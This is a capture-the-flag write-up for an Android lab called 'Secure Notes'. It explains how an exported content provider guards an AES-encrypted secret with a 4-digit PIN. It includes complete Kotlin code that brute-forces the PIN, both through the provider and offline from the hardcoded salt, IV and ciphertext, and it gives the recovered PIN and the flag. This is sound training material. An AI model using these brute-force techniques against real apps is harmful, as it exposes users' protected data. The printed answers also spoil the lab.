Objective

Retrieve a PIN code from a secured content provider in an Android application.

Secure Notes Lab ๐Ÿ‘‰ : https://www.mobilehackinglab.com/course/lab-secure-notes

Secure Note Application

1e98f5d3b2729ca2c89c26bbd56d27d3.png

dee2e77d28a3f19c781d628a73ad31c0.png

The Secure Note application asks for a PIN. Submitting an invalid PIN results in the message [ERROR: Incorrect PIN].

Source Code Analysis

Android Manifest

Analysing the AndroidManifest.xml, we can see that the application exports a content provider and the MainActivity.

        <provider android:name="com.mobilehackinglab.securenotes.SecretDataProvider" android:enabled="true" android:exported="true" android:authorities="com.mobilehackinglab.securenotes.secretprovider"/>
        <activity android:name="com.mobilehackinglab.securenotes.MainActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

The exported content provider can be queried by thrid party applications using the following content URI:

  • content://com.mobilehackinglab.securenotes.secretprovider

Inspecting the MainActivity

5a9872a0beeaf85ceb5e50157d6f5b61.png

Inside the onCreate() method, we can see that the application sets up an on click listener for the submit pin button. The onclick listener function takes the PIN entered and invokes the fuction querySecretProvider(enteredPin) with PIN as the argument.

02361890d072b5629acf2d0089523e72.png

The querySecretProvider(enteredPin) function does the following:

  • Queries the following content provider with selection set as pin=<USER_ENTERED_PIN>.
    • content://com.mobilehackinglab.securenotes.secretprovider
  • Then reads the text present in the column Secret.

Inspecting the SecretDataProvider Content Provider

The SecretDataProvider content provider is defined in the class com.mobilehackinglab.securenotes.SecretDataProvider.

970cc73d055e238e61a8088af50d5fb4.png

Inside the onCreate method of the content provider class, the following are implemented.

  • Reads the config.properties file which is stored inside the application assets.
  • The base64 encoded values read from the above file are decoded and respective class variables encryptedSecret, salt, iv are initialized. The iterationCount variable is also initialized with the value from the config.properties.

197cd555dcf49bf3692fd569bb740e80.png

The function we are interested in is the Content Provider query function which is responsible to handle the query requests.

4862cb5aa42355906bf10043db2ebb21.png

Inside the content provider query function, the following is implemented.

  • Ensures that the selection argument is not null and that it starts with the string pin=.
  • Removes the string pin= from the selection argument and the remaining string is formatted as a 4 digit PIN.
  • Calls the function decryptSecret() with the PIN obtained from previous step as the argument.
  • If the above function returns a non empty string, a column with name Secret is created and the value returned by the previous step is added as a row.

A successful query to the content provider would return Secret.

The Decryption Logic

095d45e0f4a3b5a1af52b4cc1cd09eed.png

The decryptSecret() function implements AES encryption. The important detail is that the PIN is used as the decryption key.

To summarise:

  • The config.properties file has the encryptedSecret, salt , iv and iterationCount.
  • User submitted PIN is used as the decryption key.

Solution 1 - PIN Brute Force via the Content Provider

As the content provider is exported, we can query it with different PIN values set as the selection argument until we find the clear text secret. We can try the PIN from 0000 - 9999.

The following code snippet does the exactly that.

    fun readContentProvider(){
        var contentUri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider")
        var selection : String
        var idx : Int
        var ret : String

        for (i in 0..9999){
            selection = String.format("pin=%04d",i)
            val cursor = contentResolver.query(contentUri, null, selection, null, null)

            cursor?.use {
                while (it.moveToNext()) {
                    idx = cursor.getColumnIndex("Secret")
                    ret = cursor.getString(idx)
                    println("PIN : $i, Secret: $ret")
                }
            }
        }
    }

3f339a66f33a1ea690b91a7731394d6d.png

It takes a few minutes, however the correct PIN is found 2580.

Solution 2 - Offline PIN Bruteforce against Hardcoded encryptedSecret

The config.properties file in the application assets contains all the detailes required to perform the decryption except the PIN. Similar to what we did in solution 1, we can repeatedly call the decryption function for different PIN values.

package com.rizaru.mobilehackinglab_securenote_poc

import android.net.Uri
import android.os.Build
import android.os.Bundle
import androidx.annotation.RequiresApi
import androidx.appcompat.app.AppCompatActivity
import java.util.Base64
import javax.crypto.Cipher
import javax.crypto.SecretKeyFactory
import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.PBEKeySpec
import javax.crypto.spec.SecretKeySpec
import kotlin.text.Charsets.UTF_8


class MainActivity : AppCompatActivity() {

    @RequiresApi(Build.VERSION_CODES.O)
    var encryptedSecret : ByteArray? = Base64.getDecoder().decode("bTjBHijMAVQX+CoyFbDPJXRUSHcTyzGaie3OgVqvK5w=")
    @RequiresApi(Build.VERSION_CODES.O)
    var salt : ByteArray? = Base64.getDecoder().decode("m2UvPXkvte7fygEeMr0WUg==")
    @RequiresApi(Build.VERSION_CODES.O)
    var iv : ByteArray? = Base64.getDecoder().decode("L15Je6YfY5owgIckR9R3DQ==")
    var iterationCount : Int = 10000



    @RequiresApi(Build.VERSION_CODES.O)
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        sploit()
    }

    @RequiresApi(Build.VERSION_CODES.O)
    fun sploit(){

        var pin : String
        var secret: String?


        for (i in 0..9999){
            try {
                pin = String.format("%04d",i)
                secret = decryptSecret(pin)
                if( secret != null){
                    println("Valid PIN: $pin, Secret : $secret")
                }
            } catch (e: java.lang.Exception){
                null
            }
        }

        //readContentProvider()

    }

    fun readContentProvider(){
        var contentUri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider")
        var selection : String
        var idx : Int
        var ret : String

        for (i in 0..9999){
            selection = String.format("pin=%04d",i)
            val cursor = contentResolver.query(contentUri, null, selection, null, null)

            cursor?.use {
                while (it.moveToNext()) {
                    idx = cursor.getColumnIndex("Secret")
                    ret = cursor.getString(idx)
                    println("PIN : $i, Secret: $ret")
                }
            }
        }
    }

    @RequiresApi(Build.VERSION_CODES.O)
    private fun decryptSecret(pin: String): String? {
        return try {
            val cipher: Cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
            val secretKeySpec = SecretKeySpec(generateKeyFromPin(pin), "AES")
            var bArr: ByteArray? = this.iv

            val ivParameterSpec = IvParameterSpec(bArr)
            cipher.init(2, secretKeySpec, ivParameterSpec)
            var bArr2: ByteArray? = this.encryptedSecret

            val decryptedBytes: ByteArray = cipher.doFinal(bArr2)

            String(decryptedBytes, UTF_8)
        } catch (e: Exception) {
            null
        }
    }

    @RequiresApi(Build.VERSION_CODES.O)
    private fun generateKeyFromPin(pin: String): ByteArray {
        val charArray = pin.toCharArray()

        var bArr: ByteArray? = this.salt

        val keySpec = PBEKeySpec(charArray, bArr, this.iterationCount, 256)
        val keyFactory: SecretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1")

        return keyFactory.generateSecret(keySpec).getEncoded()
    }
}

4dfbe6241772be84a9a8f12a71e6657e.png

2023-12-22 11:31:43.748 19958-19958 System.out              com...bilehackinglab_securenote_poc  I  Valid PIN: 2580, Secret : CTF{D1d_y0u_gu3ss_1t!1?}

a8b1bf198f56facc6bb16d6c6dd689d7.png

Completion Certificate

secure-notes-cert.png